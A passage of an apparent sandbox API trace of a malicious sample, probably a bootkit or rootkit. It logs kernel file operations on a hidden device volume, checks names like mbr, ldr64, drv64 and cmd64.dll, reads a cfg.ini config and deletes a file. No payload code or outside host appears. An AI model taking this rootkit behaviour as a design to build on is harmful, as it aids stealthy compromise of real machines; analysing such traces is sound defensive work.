_Dest="0d24eb7c\\cfg.ini") returned 16 [0129.346] KeEnterCriticalRegion () [0129.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.346] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.346] KeLeaveCriticalRegion () [0129.346] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.347] KeEnterCriticalRegion () [0129.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.347] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.347] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.347] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.347] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.347] IdePortDispatch () returned 0x103 [0129.347] KeWaitForMutexObject () returned 0x0 [0129.347] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.347] KeLeaveCriticalRegion () [0129.347] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.347] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.347] KeEnterCriticalRegion () [0129.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.347] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd9000 [0129.347] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.347] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.347] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.347] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.347] IdePortDispatch () returned 0x103 [0129.347] KeWaitForMutexObject () returned 0x0 [0129.347] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.347] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.347] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.348] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.348] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.348] IdePortDispatch () returned 0x103 [0129.348] KeWaitForMutexObject () returned 0x0 [0129.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.348] KeLeaveCriticalRegion () [0129.348] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.348] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.348] KeEnterCriticalRegion () [0129.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.348] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.348] KeLeaveCriticalRegion () [0129.348] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.349] KeEnterCriticalRegion () [0129.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.349] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.349] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04cd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.349] KeLeaveCriticalRegion () [0129.349] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.349] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.349] KeEnterCriticalRegion () [0129.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.349] ExFreePoolWithTag (P=0xfffffa8003c03440, Tag=0x0) [0129.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.349] KeLeaveCriticalRegion () [0129.349] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.349] ReleaseMutex (hMutex=0xf0) returned 1 [0129.349] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.349] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.349] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.349] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.349] KeEnterCriticalRegion () [0129.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.349] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.349] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.349] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.349] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.349] IdePortDispatch () returned 0x103 [0129.349] KeWaitForMutexObject () returned 0x0 [0129.349] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.349] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.349] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.349] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.349] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.349] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.349] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.350] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.350] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.350] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.350] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.350] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.350] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.350] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.350] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.350] KeLeaveCriticalRegion () [0129.350] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.350] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.350] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.350] KeEnterCriticalRegion () [0129.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.350] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.350] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.350] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.350] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.350] IdePortDispatch () returned 0x103 [0129.350] KeWaitForMutexObject () returned 0x0 [0129.350] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.350] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.350] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.350] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.350] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.350] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.350] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.350] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.350] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.350] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.350] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.350] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.350] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.350] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.350] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.351] KeLeaveCriticalRegion () [0129.351] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.351] ReleaseMutex (hMutex=0x100) returned 1 [0129.351] Sleep (dwMilliseconds=0x2bf20) [0129.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x704c2150, dwHighDateTime=0x1d24fa4)) [0129.358] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.358] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.358] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.359] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.359] KeEnterCriticalRegion () [0129.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.359] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.359] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.359] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.359] IdePortDispatch () returned 0x103 [0129.359] KeWaitForMutexObject () returned 0x0 [0129.359] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.359] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.359] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.359] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.359] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.359] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c045f0 [0129.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.359] KeLeaveCriticalRegion () [0129.359] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.359] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.359] KeEnterCriticalRegion () [0129.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.359] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.359] KeLeaveCriticalRegion () [0129.359] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.359] KeEnterCriticalRegion () [0129.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.359] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.359] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.359] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.359] IdePortDispatch () returned 0x103 [0129.360] KeWaitForMutexObject () returned 0x0 [0129.360] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.360] KeLeaveCriticalRegion () [0129.360] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.360] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.360] KeEnterCriticalRegion () [0129.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.360] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bdc000 [0129.360] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.360] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.360] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.360] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.360] IdePortDispatch () returned 0x103 [0129.360] KeWaitForMutexObject () returned 0x0 [0129.360] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.360] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.360] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.360] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.360] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.360] IdePortDispatch () returned 0x103 [0129.360] KeWaitForMutexObject () returned 0x0 [0129.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.361] KeLeaveCriticalRegion () [0129.361] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.361] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.361] KeEnterCriticalRegion () [0129.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.361] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.361] KeLeaveCriticalRegion () [0129.361] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.361] KeEnterCriticalRegion () [0129.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.361] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.361] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.361] KeLeaveCriticalRegion () [0129.361] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.361] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.361] KeEnterCriticalRegion () [0129.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.362] ExFreePoolWithTag (P=0xfffffa8003c045f0, Tag=0x0) [0129.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.362] KeLeaveCriticalRegion () [0129.362] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.362] ReleaseMutex (hMutex=0xf0) returned 1 [0129.362] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.362] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.362] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.362] KeEnterCriticalRegion () [0129.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.362] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.362] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.362] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.362] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.362] IdePortDispatch () returned 0x103 [0129.362] KeWaitForMutexObject () returned 0x0 [0129.362] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.362] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.362] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.362] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.362] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.362] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04240 [0129.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.362] KeLeaveCriticalRegion () [0129.362] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.362] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.362] KeEnterCriticalRegion () [0129.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.363] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.363] KeLeaveCriticalRegion () [0129.363] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.363] KeEnterCriticalRegion () [0129.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.363] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.363] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.363] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.363] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.363] IdePortDispatch () returned 0x103 [0129.363] KeWaitForMutexObject () returned 0x0 [0129.363] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.363] KeLeaveCriticalRegion () [0129.363] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.363] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.363] KeEnterCriticalRegion () [0129.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.363] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bdd000 [0129.363] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.363] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.363] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.363] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.363] IdePortDispatch () returned 0x103 [0129.363] KeWaitForMutexObject () returned 0x0 [0129.364] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.364] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.364] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.364] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.364] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.364] IdePortDispatch () returned 0x103 [0129.364] KeWaitForMutexObject () returned 0x0 [0129.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.364] KeLeaveCriticalRegion () [0129.364] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.364] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.364] KeEnterCriticalRegion () [0129.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.364] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.364] KeLeaveCriticalRegion () [0129.365] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.365] KeEnterCriticalRegion () [0129.365] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.365] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.365] FsRtlFastUnlockAll 